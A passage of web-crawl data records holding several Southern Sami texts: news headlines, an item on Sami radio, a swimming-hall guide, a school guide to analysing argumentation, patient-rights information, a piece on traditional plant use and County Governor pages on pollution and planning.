Daan giesien sæjhta jienebh daaroen turisth Nöörjesne Lohkh vielie » MII LEAT – Saepmien orre vaarjoehmïerhke Lohkh vielie » FHI lea orre appem dorjeme maam suetiem heerrede Lohkh vielie » Raajroe suehpeden 17.biejjien Plassjesne ij sjïdth Lohkh vielie » Lohkehtæjjahbarkoeh Snåasesne Lohkh vielie » Saemiedigkie sæjhta moenehtse- jïh stoerretjåanghkoeh digitaalelaakan tjïrrehtidh Lohkh vielie » 5 maanagærjah åarjelsaemiengïelesne dijjieh sïjhtede lohkedh Lohkh vielie » Guktie maahtah radtjoes gåetesne barkedh Lohkh vielie » Maam maahtah gåetie-isloasjovnesne jallh karanteenesne darjodh Lohkh vielie » Koronavijruse voerhtjen 13. biejjien Lohkh vielie » Koronavijruse: Daan biejjien taalh Lohkh vielie » Lohkehtæjjabarkoeh Röörosen skuvlesne saemiengïelesne Lohkh vielie » Daan biejjien: Ij gie Röörosisnie lea registreereme koronavijrusem utnedh Lohkh vielie » Raerieh koronavijrusen bïjre eejhtegidie, maanide jïh nåejside Lohkh vielie » FHI: Dutnjien mij bïevnesem åådtjeme gåetesne årrodh Lohkh vielie » Saemiedigkie åarjelsaemien gïelekuvsjem NTNU:sne dåårje Lohkh vielie » Kronihke: Saemiedigkien gïetedimmie Korona- vijrusistie Lohkh vielie » Jirreden Saetniesvoete- jïh lïktemekommisjovne Plassjese båata Lohkh vielie » Govhte orre skuvle-maanah Röörosen tjïeltesne edtjieh åarjelsaemien voestesgïeline lohkedh Lohkh vielie » Coronavirusen bïjre: Guktie datne maahtah suetiem heerredidh Lohkh vielie » Guvvieh – Bergmannsgata Lohkh vielie » Jirreden Rørosmuseet:sne – Laila Mari Bransfjell edtja vætnan bïjre soptsestidh Lohkh vielie » Jienebh guvvieh Rørosmartnan rïhpestimmeste Lohkh vielie » PRM: Sæjhta saemien maanaforumem tseegkedh Lohkh vielie » Rørosmartnan 2020 lea rïhpestamme Lohkh vielie » PRM: Sov lïhkesvoetem åarjelsaemien gïeledajvesne nænnoste Lohkh vielie » PRM: Nordlaanten åålmegemiehtjiejarnge evtiedimmiedåarjoem saemien kultuvreprogrammese åådtje Lohkh vielie » Datne saemien noere? Dåeredh Noereh organisasjovnen jaepietjåanghkoem Lohkh vielie » Jirreden SST edtja lïhtsege-tjåanghkoem öörnedh Lohkh vielie » Rørosmartnan 2020: Laila Mari edtja goerehtimmiem vætnan bïjre utnedh Lohkh vielie » Sijhth namhtah tjaaleme-sijjie Tråanten Gærjagåetesne utnedh? Lohkh vielie »","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/alle-innlegg\/","date":"2020-06-02T23:55:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00157.warc.gz","language":"sma","language_score":0.9999847412,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999847412109375}","num_words":405,"character_repetition_ratio":0.16,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aajege saemien gïele jïh maahtoejarnge, Rørosesne, ektiebarkoe Nea Radijovine aalkeme, jïh daate lea voestes aejkien goh saemieh Rørosen dajvesne åadtjoeh åarjelsaemiengïele dovne nedtesne lohkedh jïh voeneradijovesne govledh.\nNea Radijoven redaktøøvre Andreas Reitan jeahta, dah aerebi pryøveme dagkeres faaleldahke almetjide vedtedh, mohte eah dam buektiehtamme. Dïhte aaj jeahta stoerre haesteme orreme gïeletjiehpies almetjh gaavnedh.\n> Lohkh aaj:\nHåhkesje staeries sjædta\nReitan jeahta haesteme gujht sjædta, mohte hååhkesje daate dorjesem mah daelie maehtieh faaledh staeries sjædta. Jïh dïhte aaj veanhta, mænngan dam evaluereme, jïh jis beetnehvierhtieh åadtjoeh, dle geerve neajhkedh daejnie dorjesine jåerhkedh.\nAndreas Reitan, Nea Radio\nNov gujhth haesteme sjædta\nMohte ij leah barre aelkedh radijove seetedh, akte journaliste aaj daerpies! Dïhte lea Aino Linnea Danielsen mij edtja Nea Radijovesne barkedh, jïh dïhte edtja dïedtem utnedh ahte bielie tæjmoe radijove våhkosne sjædta.\nSaadtegide maahta Selbuen, Tydalen, Røroesen jïh Håltålen tjïeltine govledh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.nrk.no\/sapmi\/orre-faaleldahke-1.12428952","date":"2020-06-03T11:08:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347432521.57\/warc\/CC-MAIN-20200603081823-20200603111823-00389.warc.gz","language":"sma","language_score":1.0000047684,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000004768371582}","num_words":139,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sámi logut muitalit \/ Saemien låhkoeh soptsestieh lea akte fïerhtenjaepien bæjhkoehtimmie lahtestamme saemien statistihken bïjre gelline ovmessie faagesuerkine. Bæjhkoehtimmie lea akte gille bæjhkoehtimmijste mij aktem vijries jïh bijjemes bijjieguvviem vadta gelliej faagesuerkiej bijjeli mah leah joekoen sjyöhtehke dejtie mah daajroem saemien tsiehkiej bïjre daarpesjieh. Menyjesne åelkiesbielesne gaavnh mah tjaalegh mah leah bæjhkoehtamme daan raajan.\nSaemien låhkoeh soptsestieh redigeradamme sjidtieh Faageles analyjsedåehkeste saemien statistihkese maam tjïelte- jïh orrestimmiedepartemeente nammohte Saemiedigkine ektine akten boelhkese mij njieljie jaepieh ryöhkoe.\nKevin Johansen, Fylhkenålmeste Nordlaantesne lea analyjsedåehkien åvtehke jïh doh jeatjah lïhtsegh leah Snefrid Møllersen Healsoe Finnmaarhkeste, Torkel Rasmussen Saemien jïlleskuvleste, Julie Aslaksen Statistisk Sentralbyråste jïh Per Tovmo NTNU:ste.\nTorunn Pettersen lea analyjsedåehkien koordinator. Gåarede gyhtjelassh, lahtestimmieh jïh raerieh saemien statistihken bïjre seedtedh e-påastese diekie: firstname.lastname@example.org.","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/samilogutmuitalit.no\/sma","date":"2020-07-10T04:00:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655902496.52\/warc\/CC-MAIN-20200710015901-20200710045901-00174.warc.gz","language":"sma","language_score":0.9999617338,"language_script":"Latn","minhash_cluster_size":76,"top_langs":"{\"sma_Latn_score\": 0.9999617338180542}","num_words":120,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.126,"stopwords_ratio":0.233,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavkomegåetie gaajhkide\nNavet:sne gååvnesieh gellie ovmessie bassengh jïh lustes darjomh dovne maanide jïh geervide. Daesnie akte 50-meterebassenge gusnie sijjie dovne laavkodh jïh svihtjedidh. Dååjreselaavkomisnie datne gaavnh gellie gieltegs attraksjovnh, gaskem jeatjebh göökte guhkies tjaetsiegïerestallemh. Mijjen aaj beapmoesijjieh jïh bovre.\nNavet:sne saavredh\nMijjieh gellie ovmessie saavremedarjomh faalebe ovmessie daltesinie. Daesnie datne maahtah gaskem jeatjebh pryövedh tjaetsiesaavremem, yogam jïh vaarremesaavremem. Daesnie maam akt gaajhkide!\nVoejemeskuvle\nMaahta voejedh lea dan vihkeles maahtoe mestie abpe jielede aavode. Navet:sne mijjieh voejemeskuvlem faalebe dovne maanide jïh geervide. Voejemeskuvlesne mijjen bïhkedæjjah dååjrehtimmine jïh dah dåehkieh eejnegen onne guktie gaajhkh gïeh meatan dåarjoem åadtjoeh maam daarpesjieh.\nSjïehteladteme\nNavet galka sijjiem gaajhkide årrodh. Laavkomegåetie lea dan gaavhtan hammoedamme dutnjien svihtjemeheaptojne. Dïhte gååvnese gaskem jeatjebh ovmessie viehkiedïrregh mejtie maahtah nåhtadidh. Bïeljelh resepsjovnem jïh datne åadtjoeh vielie bïevnesh jallh lohkh vielie sveerjengïelesne jallh englaanten gïelesne.\nGaahpan\nNavet lea gaahpan fïerhten biejjien jaepesne.\nDaamhtaj gaahpan:\nMåanta – bearjadahke\n6-22\nLaavvadahke – aejlege\n8-21\nMaahtah jeatjah tïjje gaahpan årrodh, vuesiehtimmien gaavhtan gosse hïeljebiejjieh.\nHijven dam ussjedh gosse guessine båatah\n- Mujhtieh datne goh geerve eejnegen dïedtem åtnah maanah geehtedh mejtie datnem dåerede.\n- Maanah gïeh sijhtieh laavkodh geerve almetje sïelskine bielelen tjuerieh nööremes 12 jaepien båeries jïh maehtieh voejedh. \"Geerve almetje sïelskine\" lea geerve almetje nööremes 18 jaepien båeries, maahta voejedh jïh voejemevaarjoeh gåårvedamme.\n- Aellieh roehth laavkomegåetesne, dïhte lea vihkeles – datne maahtah njahpedidh jïh slæjraridh.\n- Krööhkesth dah skilth laavkomegåetesne.\n- Datne skåapem elektrovneles leessh gïetebaantine maam åadtjoeh löönedh gosse leahpam maaksah. Datne ih daarpesjh laesiem buektedh. Mujhtieh dïhte dov dïedtem dov tjåenide.\n- Navet lea kontantbeetnegapth.\nStratjkh åvteli laavkodh\nDïhte lea vihkeles eejnegen eensilaakan stratjkedh, laavkomevaarjohts, åvteli laavkodh. Mujhtieh aaj ih åadtjoeh sisvaarjoeh utnedh laavkomevaarjoej sisnjelen. Dïhte dan gaavhtan mijjieh galkebe tjaetsiem raajnes utnedh jïh hijven dååjresem gaajhkide guesside skaepiedibie.\nMijjieh vaajtelibie dutnjien murries dååjresem!","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/navet.umea.se\/informationpasydsamiska.4.38dc2e0515650aab3f19776.html","date":"2020-07-16T01:28:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657176116.96\/warc\/CC-MAIN-20200715230447-20200716020447-00104.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":282,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gosse edtjh argumentasjovnem buerkiestidh jïh vuarjasjidh aamhteseprosa-tjaalegisnie, dellie læstoe vuelielisnie maahta viehkine årrodh. Nuhtjh dejtie væhtide mah leah sjyöhtehke dan tjaalegasse datne goerehth.\nDastegh edtjh dov analysem åehpiedehtedh goh akte tjaaleldh tjaalege, datne jïjtje gaavnehth mennie öörnegisnie momenth edtjieh årrodh. Datne ih daarpesjh seamma öörnegem nuhtjedh mij daennie læstosne. Læjhkan iktesth væjsehke aelkedh dej vihkielommes bïevnesigujmie tjaalegen bïjre. Dellie sagke aelhkebe sjædta lohkijasse datnem dåeriedidh gosse datne dov vïhtesjimmieh veelelaakan åehpiedahtah.\nVihkielommes bïevnesh\nAelkieh tjaalegem jïh govlesadteme-tsiehkiem åehpiedehtedh.\n- Rïektesvoete tjaalegen bïjre\nNomme, sjangere, tjaelije\n- Ïebne\nMah gyhtjelassh jallh dåeriesmoerh tjaalegisnie?\n- Govlesadteme-tsiehkie\nGusnie jïh gåessie tjaalegem bæjhkoehti, dagke mennie sjïere heannadimmesne\/ektiedimmesne?\n- Tjaelijen maadtoe\nDatne byörh maam akt jiehtedh tjaelijen maadtoen bïjre dastegh dïhte akte tjïelke jallh nåake aevhkie tjaelijen ussjedammesvoetese.\n- Ulmie-dåehkie\nGïese tjaelije tjaala?\nVeanhtoe jïh argumeente\nÅehpiedehtieh tjaelijen veanhtoem jïh doh vihkielommes argumeenth.\n- Tjaelijen veanhtoe\nMij lea tjaelijen veanhtoe?\nTjaelije aamhtesem dåarjohte jallh aamhtesem vuastele, jallh veanhtoe jeereldihkie?\n- Doh vihkielommes argumeenth\nDarjoeh åssjaldahke-kaarhtem dej vihkielommes argumeentigujmie tjaalegistie. Vaajesth dejtie åenehkslaakan jïh jïjtsedh baakoejgujmie. Tjaelijen akte tjïelke åejvie-argumeente? Tjaelije argumeenth vuastele mah lea altese vuajnoen vööste.\nNænnoesvoete, maerelesvoete jïh veaksehkevoete\nGoerehth aamhtese-argumeentide veelebe.\n- Nænnoesvoete\nRïektesvoeth reaktoe jïh argumeenth buajhkoes?\n- Maerelesvoete\nTjaalegen naan argumeenth mah ajve ånnetji jallh ij leah aamhtesen bïjre?\n- Veaksehkevoete\nTjaalegen argumeenth mejtie aelhkieslaakan maahta vuastalidh dan åvteste sagke veaksahkåbpoe vuestie-argumeenth gååvnesieh?\n- Veeljeme rïektesvoeteste jïh bagkesijstie\nTjaelije gaajhkem meatan vaalteme mah leah vihkeles aamhtesasse? Jallh argumentasjovne aktelaaketje jallh såemies vaanoeh åtna? (Mujhtieh sjangere viehkehte moenedh man vijries jïh jïebne argumentasjovne byöroe jïh maahta årrodh tjaalegisnie.)\nTjeakoes argumentasjovne\nGoerehth guktie tjaelije domtesidie appellerede lohkijen luvnie.\n- Tjaelijen ussjedammesvoete jïh autoriteete\nTjaelijen sjïere daajroeh jallh lea aktene sijjesne mij dïsse autoriteetem vadta aamhtesisnie? Lohkije leajhtadimmiem tjaeliejasse åådtje gosse tjaalegem låhka?\n- Appelle dåastojen vuajnojde jïh domtesidie\nTjaelije appellerede såemies vihties vuajnojde jïh domtesidie lohkijen luvnie? Boekte mah? Tjaelije nåakelaakan tjaala dej bïjre mah eah sov vuajnoem juekieh?\n- Gïeleldh viehkievierhtieh\nMah leah doh vihkielommes gïeleldh viehkie-vierhtieh tjaelije nuhtjie juktie sov dïjrem veaksahkåbpoe darjodh?\nTjaalege goh elliesvoete\nGosse datne veelelaakan tjaaleginie barkeme dle aelhkebe væhtide vaestiedidh.\n- Jïebnevoete ræhpas jïh tjeakoes argumentasjovnen gaskem Mïsse tjaelije stööremes leavloem beaja, ræhpas jallh tjeakoes argumentasjovne?\n- Åehpiedehteme-vuekie Tjaelije buektehte sov argumeenth åehpiedehtedh sjeakoeslaakan? Aelhkie tjaelijen argumentasjovnem dåeriedidh? Tjaelije vuesiehtimmieh vadta, tjïelkeste jïh veelebe buerkeste?\n- Galhkuve-vuarjasjimmie\nGuktie tjaalege fungerede goh elliesvoete? Tjaalege buektehte datnem jaehkiehtidh?\nBaakoeh\nSaemien\nDaaroen\ngovlesadteme-tsiehkie\nkommunikasjonsituasjon\nussjedammesvoete\ntroverdighet\nveanhtoe\nstandpunkt\njeereldihkie\nvariert\nnænnoesvoete\nholdbarhet\nmaerelesvoete\nrelevans\nrïektesvoeth\nfakta\nbuajhkoes\nsannsynlige\naktelaaketje\nensidig\nsåemies vaanoeh åtna\nmangelfull\nleajhtadimmie\ntillit\ndïjre\nbudskapet\nelliesvoete\nhelhet\njïebnevoete\nbalanse\nleavloe\nvekt\nåehpiedehteme-vuekie\nframstillingsmåte\ngalhkuve-vuarjasjimmie\nsluttvurdering\njaehkiehtidh\noverbevise\nArgumentasjovneKjernestoff\nNihtieh kreeke-pryövenassh!Kjernestoff","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:172880\/topic:1:182050\/resource:1:173015","date":"2020-07-05T01:20:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655886802.13\/warc\/CC-MAIN-20200704232817-20200705022817-00352.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":418,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.096,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïevnesh\nSeamma gie leah jïh mij våaromem åtnah hoksebarkijh edtjieh dutnjien bïevnesh vedtedh maam daarpesjh. Dïhte sæjhta jiehtedh vuesiehtimmien gaavhtan maahtah toelhkem daarpesjidh jallh tjaaleldh bïevnesh, jis galkh guarkedh guktie goerehtimmiem tjïrrehtieh.\nBïevnesh edtjieh dov tsiehkine sjïehtesjamme jïh dov krïbpesjimmine. Vihkeles jis edtjh guarkedh jïh bieliem årrodh dov hoksesne. Jïjtje veeljh man aktijve sïjhth årrodh, mohte eejnegen nuepiem åtnah jiehtedh maam sïjhth.\nGåessie damth dah alternatijvh jïh nuepieh guarkah maahtah dïsse såemies vuekine jååhkesjidh. Maahtah aaj veeljedh nyöjhkedh hoksese mah dutnjien faalesåvva. Jïlhts leah hoksese jååhkesjamme maahtah jeatjahtehtedh.\nMaanah edtjieh aaj nuepiem utnedh jiehtedh maam mielieh. Jis onne maana dellie åeliejgujmie, men jis båarasåbpoe dellie vihkeles dïhte åådtje sov hoksesne meatan årrodh. Jis edtja hoksesne meatan årrodh jïh moenedh vihkeles maana aaj bïevnesidie guarkoe.\nMan bïjre dah bïevnesh?\nEdtjh bïevnesh dan bïjre åadtjodh\n- dov healsoetsiehkie\n- mah vuekieh gååvnesieh goerehtæmman, hoksese jïh båehtjierdæmman\n- mah viehkievierhtieh gååvnesieh\n- gåessie hoksem åadtjoeh\n- mestie båehtjierdimmeste jïh hokseste båata\n- mah komplikasjovnh maehtieh gååvnesidh\n- guktie hokse dan mænngan sjædta, jis dam daarpesjh\n- mah vuekieh gååvnesieh åvtelhbodti skïemtjelassem jallh skaaram heerredidh\n- nuepieh Försäkringskassesne åådtje jienebh daejredh hoksem ohtsedidh EES-laantine jallh Schweizesne.\nMuvhten aejkien dov lïhkemes daarpesjieh bïevnesh åadtjodh dov hoksen bïjre. Sekretessen gaavhtan maehtieh dov lïhkemes barre bïevnesh åadtjodh jis datne meatan jallh dam luhpiedamme.\nAkute tsiehkine, vuesiehtimmien gaavhtan jis ih vuerkesne, læjhkan hoksem åadtjoeh jis dov jielemem vaahresne.\nGaahpode hoksem laantesne veeljedh\nEdtjh bïevnesh åadtjodh mah hoksh dov laantedigkie maahta faalehtidh jïh jis maahtah hoksem jeatja laantedigkesne åadtjodh.\nMen maahtah aaj gaahpodehoksem veeljedh seamma saaht Sveerjesne. Dïhte sæjhta jiehtedh maahtah hoksejarngem veeljedh jallh gaahpode sjïerehoksedåastovem guessedh jallh desnie goerehtidh. Vuesiehtimmieh gaahpode sjïerehoksh leah tjelmieoperasjovnh.\nSeamma saaht jis hoksevedtije byjjes jallh private jis laantedigkie dam maaksa.\nVeeljedh hoksejarngem govlesåvva muvhtene læstome gohtje. Dov eejnegen nuepie hoksejarngem veeljedh abpe Sveerjesne. Hoksejarngesne maahtah aaj tjirkes dåakterem veeljedh.\nMaahtah aaj jïllespesialisereme gaahpodehoksem regijovneskïemtjegåetesne jeatja laantedigkesne, vuesiehtimmien gaavhtan cancerebåehtjierdæmman mænngan.\nDov medisijnen daarpoeh nænnoestieh\nGåessie hoksem jeatja laantedigkesne ohtsedh dov medisijnen daarpoeh mah nænnoestieh gåessie hoksem åadtjoeh. Dov medisijnen daarpoeh dåaktere vuarjesje. Maahtah gaahpodehoksem åadtjoeh seamma tsiehkine goh gaajhkh gïeh leah dennie laantedigkesne tjaalasovveme. Dïhte sæjhta jiehtedh vuesiehtimmien gaavhtan datne seamma skïemtjijeåasam maaksah goh gaajhkh dah jeatjah gïeh gaahpodehoksem ohtsedieh. Åadtjoeh dov feelemh jïh orremem jïjtje maeksedh jis hoksem veeljh jeatja laantedigkesne\nDatne, gie båata jeatja laantedigkeste, ih leah meatan hoksegarantijesne dennie laantedigkesne maam veeljh.\nOrre medisijnen vuarjasjimmie\nJis dov jielemeaajhteme jallh sjïere skïemtjelasse jallh skaara jïh tjoerh geerve medisijnen gyhtjelassh nænnoestidh maahtah orre medisijnen vuarjasjimmiem krïevedh. Dam jeatja dåaktaristie åadtjodh enn dïhte gie joe åtnah, dov hïejmelaantedigkesne jallh jeatjah laantedigkesne.\nDoh hïejmelaantedigkie orre medisijnen vuarjasjimmien åvteste maaksa.\nOvmessie jis remissem daarpesjh\nJis remissekrïeveme gååvnese gaahpode spesialistehoksese dov hïejmelaantedigkesne jallh dennie laantedigkesne gusnie hoksem ohtsedidh dellie tjoerh remissem dov hoksejarngeste utnedh.\nJis ih madtjeles\nFïerhtine laantedigkine skïemtjijemoenehtse gååvnese mij edtja datnem viehkiehtidh jis ih damth dov hoksesne meatan jallh jeatjah vuekine ih hoksine madtjeles. Skïemtjijemoenehtse maahta vuesiehtimmien gaavhtan datnem viehkiehtidh dïedtije hoksebarkijh govlesadtedh jïh beavna guktie maahtah reektedh maam dååjreme.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.1177.se\/sma-se\/Vastra-Gotaland\/other-languages\/other-languages\/regler-och-rattigheter---andra-sprak\/patientlagen---andra-sprak\/","date":"2020-07-06T00:36:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655889877.72\/warc\/CC-MAIN-20200705215728-20200706005728-00184.warc.gz","language":"sma","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":57,"top_langs":"{\"sma_Latn_score\": 1.000003457069397}","num_words":488,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie barka ihke saemieh edtjieh åadtjoeh sijjen gïelem, sijjen kultuvrem jïh sijjen siebriedahkejieledem gorredidh jïh evtiedidh.\nIj leah nuepie åadtjodh vuesiehtimmiem Saemiedigkesne giesien 2020 Korona-tsiehkien gaavhtan. Maahta digitaale vuesiehtimmiem rætnoe daesnie gaavnedh.\nWatch a digital tour of the Sami Parliament Building, with english subtitles\nMijjieh gaajhkh tjaalegh jïh kronihkh tjöönghkeme mejtie bæjhkoehtamme korona-pandemijen sjïekenisnie.\nLohkh","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/sametinget.no\/?sprak=14\/saemiedigkien-bijre2\/gaskesadth-saemiedigkiem\/guovdageaidnu\/inger-anne-pulk\/","date":"2020-07-06T09:52:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655890157.10\/warc\/CC-MAIN-20200706073443-20200706103443-00464.warc.gz","language":"sma","language_score":0.9999939203,"language_script":"Latn","minhash_cluster_size":287,"top_langs":"{\"sma_Latn_score\": 0.9999939203262329}","num_words":54,"character_repetition_ratio":0.034,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sjædtoen faamoe vihkeles saemide orreme, daelie dihte maahtoe gaarvanamme juktie saemieh sijhtieh vielie daan bijre lieredh.\nNoerhte- Trøndelaagesne jïjnjh sjædtoeh gååvnese mah saemieh guhkiem daalhkesinie jïh beapmosne provhkeme. Gïelem nastedh jih gïeleaernie gïele biesiem Raarvihkesne øørnijægan guktie sjædtoeh gaavnedh jih misse provhkedh, beabpmose jallhts daalhkesinie. Ingvald Jåma, Fovsen-Njaarkeste maahtoem åtna misse edtja daejtie sjædtoejde nuhtjedh.\nSjædtoe hijvene jih aaj vaarege.\nAkte sjædtoe maam Ingvaldem beerki, gåessie dihte ov-læhkoesne, pruvvien nuelesne dabrani lea nimmetsh-moere.\n– Nimmetsh-moeren baarhkoe joekoen hijvene soeskedh, gåessie gussnie bååktjehke. Manne ohtje baarhkoem soeskim gåessie pruvvien nuelesne dabranim dihte mannem beerki. Nimmets- moeren muerjieh maahta daalhkesinie nuhtjedh. Gejhkedh jih daan mænngan njeervh, dellie maahta maam krodtesjidh. Tjoeverh mojhteles-laakan nuhtjedh.\nMaam saemieh nuhtjin, gåessie ij naan saelhtie gååvnesh?\n– Gååvnese sjædtoe disse aaj mij lea saalhtegs. Salhtoen kraesie. Dihte pluevesne sjædta. Tjoeverh daam varkie gïjregen ohtsedidh, daan mænngan geerve sjædta daam gaavnedh gåessie jeatjah kraesie sjædta. Daam kraesiem mov aajja nuhtji gåessie gueliem voessji.\nNoere jih dihte båarasåbpoe boelve gaavnedin jih ektesne murriedin dah sjædtoe jih baska sisnie. Eli Kappfjell Maajhjaevreste aavosne, åadtjodh dah sov voelpide vihth råakedh.\n– Luste lea jih don jih daan bijre soptsestidh. Ij lea manne nuhtjeme sjædtoe maan jijnjem. Maana- baeleste dellie batskem byøpmedim dihte joekoen njælkies jih aaj njælkies- laakan hapsa. Daelie daan jijnje jeatja beabpmoe båateme dellie ij leah daerpies olkese jih jijtje ohtsedidh. Vihkelommes delie, dihte mijjien eatneme åadtjoe raajnes årrodh jeahta Kappfjell.\nMaahtoe mij lea gaarvanamme.\nGielem Nastedh jih Britt Sparrok geerjene 30-40 almetjh båateme daan gïele beasan. Jijnjesh sijhtieh vielie sjædtoe bijre lieredh.\n–Mijjieh øøvre geerjene daan jijnjh saemieh båateme. Hijvene biejjie orreme. Joekoen luste båeries saemieh meatan mij maahtoem utnieh dah sjædtoeh bijre soptsestidh jih mijjese bihkedidh guktie nuhtjedh. Daelie edtjebe minnedh jåamoe, jearja, faatnoe voessjedh jih bearkoe-krovhten ektesne byøpmedidh.\nDirektelink: https:\/\/www.nrk.no\/sapmi\/samegillii\/sjaedtoe-kuvsje-1.11785615","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/gielemnastedh.no\/2014\/06\/sjaedtoe-kuvsje\/","date":"2020-07-11T23:26:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657129257.81\/warc\/CC-MAIN-20200711224142-20200712014142-00144.warc.gz","language":"sma","language_score":0.9999979734,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 0.9999979734420776}","num_words":290,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea naaken dejstie Fylhkenålman laavenjassijste dearjoelaaken mietie:\n- luejhtemeohtsemh gïetedidh gïehteldimmijste mah tjuerieh luhpiem utnedh Fylhkenålmeste, gaskem jeatjah asfalte- jïh pukkevierhkie, såelsietseegkeldahkh, slaavvoetseegkeldahkh, bijlebeelhkenassesijjieh, skorkelimmietseegkeldahkh, skööhtemebaanah, motovresportbaanah jïh ovmessie industrijesïelth\n- gïehteldimmieh vaaksjodh dejnie suerkine mah eah luhpiem daarpesjh, men mieriedimmijste stuvresuvvieh, gaskem jeatjah asfaltevierhkieh, pukkevierhkieh, biobåeltemstseegkeldahkh jïh skihpevierhkieh\n- ohtsemh sjæjsjalidh såelsieluejhtemen bïjre jaevride jïh mearojde\n- ohtsemh gïetedidh vöörhkemen bïjre såelsiedajjoste\n- ohtsemh gïetedidh mudringen jïh dumpingen bïjre\n- dearjoedehteme dajvh jïh sleajhteme tjïelten våarkoeh gïehtjedidh\nvaaksjodh jïh gïehtjedidh guktie naaken ij dearjoelaakese, mieriedimmide jïh luhpide miedtieh","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.fylkesmannen.no\/sma\/Troondelagen\/Byjrese-jih-klijma\/Dearjoe\/","date":"2020-07-10T16:12:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655911092.63\/warc\/CC-MAIN-20200710144305-20200710174305-00160.warc.gz","language":"sma","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":51,"top_langs":"{\"sma_Latn_score\": 1.0000033378601074}","num_words":84,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjuara nasjovnaale bihkedassh fulkedh\nStoerredigkie jïh reerenasse bïhkedassh jïh mierieh vedtieh mejtie tjïelth edtjieh våaroemasse bïejedh arealereeremisnie. Fylhkenålman laavenjasse lea hoksedh tjïelth nasjovnaale iedtjh gorredieh byjresevaarjelimmien, laanteburrien, healsoen jïh siebriedahkejearsoesvoeten sisnjeli. Dastegh tjïelten aerealereereme lea nasjovnaale iedtji vööste, dle Fylhkenålma edtja aamhtesem gïetedidh.\nFylhkenålma maahta aamhtesem gïetedidh bieljelimmine, jallh arealesoejkesji vööste girredh jallh nænnoestimmiem laejhtedh bïgkemeaamhtesinie (dispensasjovnenænnoestimmie) mah arealesoejkesjem vuastalieh. Dastegh tjïelte ij girremem mietieh, dle aamhtese deanahtæmman jåhta guejmiej gaskem. Dastegh deanahtimmie ij lyhkesh, tjïelte maahta birredh aamhtese seedtesåvva Byjresedepartemeentese akten minngemosth sjæjsjalæmman.\nFylhkenålma klååkemesuerkie\nJis konsekvensh naakenide sjidtieh tjïelten nænnnoestimmijste stuvrehtimmiesoejkesjinie jïh bïgkemeaamhtesinie, jïh nænnoestimmijste jåartalaaken, konsesjovnelaaken jïh odelslaaken mietie, dle dah maehtieh Fylhkenålmese klååkedh. Fylhkenålma aaj klååkemeeaamhtesh gïetede matrihkelelaaken, aajhtereseksjovnelaaken, geajnoelaaken, jïh gåetiedajveleejjemelaaken mietie, jïh laake tjïelten reaktan 